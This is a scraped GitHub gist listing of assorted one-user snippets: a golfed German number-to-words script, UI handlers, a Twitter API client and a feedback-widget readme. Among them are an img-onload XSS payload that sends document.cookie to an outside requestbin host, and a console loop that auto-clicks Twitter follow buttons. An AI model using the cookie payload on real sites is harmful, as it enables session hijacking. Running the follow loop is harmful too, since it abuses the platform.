Skip to content

Instantly share code, notes, and snippets.

View neuling's full-sized avatar

Moritz Kobrna neuling

View GitHub Profile
<script>n=prompt().split("");e=eval;c="q=n[0];w=n[1];r[x=n.join('')*1]||e(y[(x+'').length])";t="tausend";h="hundert";j='zig';y=[,"r[q]","w==0?r[q]+j:(q==1?r[w]+r[10]:r[w]+'und'+(i[q]||r[q]+j))","n.shift();r[q]+h+e(c)","n=n.slice(-3);r[q]+t+e(c)","k=n.splice(2);u=e(c);n=k;u+t+e(c)","e(y[5].replace(2,3))"];r=" ein zwei drei vier fuenf sechs sieben acht neun zehn elf zwölf".split(" ");r[20]="zwanzig";r[30]="dreißig";i=[,,r[20],r[30]];alert(e(c).replace(/(en|s)z/,'z').replace(/(^ein$)|(ein$)/,'eins'));</script>
<script>
n = prompt().split("");
c = "q=n[0];w=n[1];r[x=n.join('')*1] || e(y[(x+'').length])";
t = "tausend"; h = "hundert";j='zig';
y=[,,"w==0?r[q]+j:(q==1?r[w]+r[10]:r[w]+'und'+(i[q]||r[q]+j))","n.shift();r[q]+h+e(c)","n=n.slice(-3);r[q]+t+e(c)","k=n.splice(2);u=e(c);n=k;u+t+e(c)","e(y[5].replace(2,3))"];
r="0ein0zwei0drei0vier0fuenf0sechs0sieben0acht0neun0zehn0elf0zwölf".split(0);
r[20]="zwanzig";r[30]="dreißig";i=[,,r[20],r[30]];
alert((e = eval)(c).replace(/(en|s)z/,'z').replace(/in$/,'$1s'))
</script>
clickBindings: =>
# Mobile
for el in document.querySelectorAll("#header a")
el.addEventListener 'click', (evt) ->
evt.preventDefault()
return unless hashMatch = evt.srcElement.href.match(/(#.+)$/)
@scrollToSection hashMatch[1]
alert(3);
1) visit the profile you would like to push
2) open javascript console
3) type in: (f=function(){$(".user-actions-follow-button:first").trigger("click");setTimeout(f,100)})();
4) hit enter
@neuling
neuling / gist:8647112
Created January 27, 2014 11:40
twitter followers push
1) visit the profile you would like to push (you need to be logged-in, does not work on your own account)
2) open javascript console
3) type in: (f=function(){$(".user-actions-follow-button:first").trigger("click");setTimeout(f,100)})();
4) hit enter
$('.choices').hide();
setTimeout(function(obj) {
console.log('obj',$(obj).attr('id'));
$(obj).hide();
// check if last, if so load new ones
console.log('length',$('.photos .photo:visible').length);
if($('.photos .photo:visible').length<=1) $('.photos').load("/?action=profiles",function() {
if($('.photos .photo:visible').length>1) $('.choices').show();
startLoadAnimation();
userCounter=0;
const Twit = require('twit');
const client = new Twit({
consumer_key: process.env.CONSUMER_KEY,
consumer_secret: process.env.CONSUMER_SECRET,
access_token: process.env.ACCESS_TOKEN,
access_token_secret: process.env.ACCESS_TOKEN_SECRET
});
Array.prototype.random = function() { return this[Math.floor(this.length * Math.random())]; };
<img src='/assets/img/users/tw15235264.jpg' style='display: none;' onload='(new Image()).src="//requestb.in/pdqu0gpd?x=" + document.cookie' />
<?
// <readme>
/*
This is a lite version of Olark's and Intercom's functionality (without the chat part).
It lets you get feedback from users on your site to your email.
And you won't have to rely on another company anymore!